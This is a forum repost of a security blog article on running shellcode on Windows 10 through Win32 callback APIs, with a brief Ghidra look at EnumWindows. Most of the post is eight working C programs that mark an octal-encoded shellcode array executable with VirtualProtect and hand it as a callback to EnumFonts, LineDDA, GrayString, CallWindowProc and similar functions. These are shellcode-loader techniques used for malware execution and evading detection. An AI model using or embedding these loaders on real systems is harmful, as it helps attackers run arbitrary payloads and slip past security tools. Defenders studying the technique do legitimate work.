Jump to content
Nytro

Executing Shellcode via Callbacks

Recommended Posts

Executing Shellcode via Callbacks

What is a Callback Function?

In simple terms, it’s a function that is called through a function pointer. When we pass a function pointer to the parameter where the callback function is required, once that function pointer is used to call that function it points to it’s said that a call back is made. This can be abused to pass shellcode instead of a function pointer. This has been around a long time and there are so many Win32 APIs we can use to execute shellcode. This article contains few APIs that I have tested and are working on Windows 10.

Analyzing an API

For example, let’s take the function EnumWindows from user32.dll. The first parameter lpEnumFunc is a pointer to a callback function of type WNDENUMPROC.

 

1
2
3
4
BOOL EnumWindows(
  WNDENUMPROC lpEnumFunc,
  LPARAM      lParam
);

 

The function passes the parameters to an internal function called EnumWindowsWorker.

ghidra0.png?resize=640%2C393&ssl=1

The first parameter which is the callback function pointer is called inside this function making it possible to pass position independent shellcode.

ghidra1.png?resize=640%2C218&ssl=1

By checking the references, we can see that other APIs use EnumWindowsWorker function making them suitable candidates for executing shellcode.

xrefs.png?resize=579%2C269&ssl=1

EnumFonts

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode, 0);
}

 

EnumFontFamilies

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
EnumFontFamilies(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode,0);
}

 

EnumFontFamiliesEx

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char *)shellcode, 0, 0);
}

 

EnumDisplayMonitors

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
EnumDisplayMonitors((HDC)0,(LPCRECT)0,(MONITORENUMPROC)(char *)shellcode,(LPARAM)0);
}

 

LineDDA

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
LineDDA(10, 11, 12, 14, (LINEDDAPROC)(char *)shellcode, 0);
}

 

GrayString

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
GrayString(0, 0, (GRAYSTRINGPROC)(char *)shellcode, 1, 2, 3, 4, 5, 6);
}

 

CallWindowProc

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
CallWindowProc((WNDPROC)(char *)shellcode, (HWND)0, 0, 0, 0);
}

 

EnumResourceTypes

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
015024551061,014333060543,012124454524,06034505544,
021303073213,021353206166,03037505460,021317057613,
021336017534,0110017564,03725105776,05455607444,
025520441027,012701636201,016521267151,03735105760,
0377400434,032777727074
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
 
EnumResourceTypes(0, (ENUMRESTYPEPROC)(char *)shellcode, 0);
}

 

You can check this repo by my friends @bofheaded & @0xhex21 for other callback APIs.

 

Sursa: https://osandamalith.com/2021/04/01/executing-shellcode-via-callbacks/

  • Thanks 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...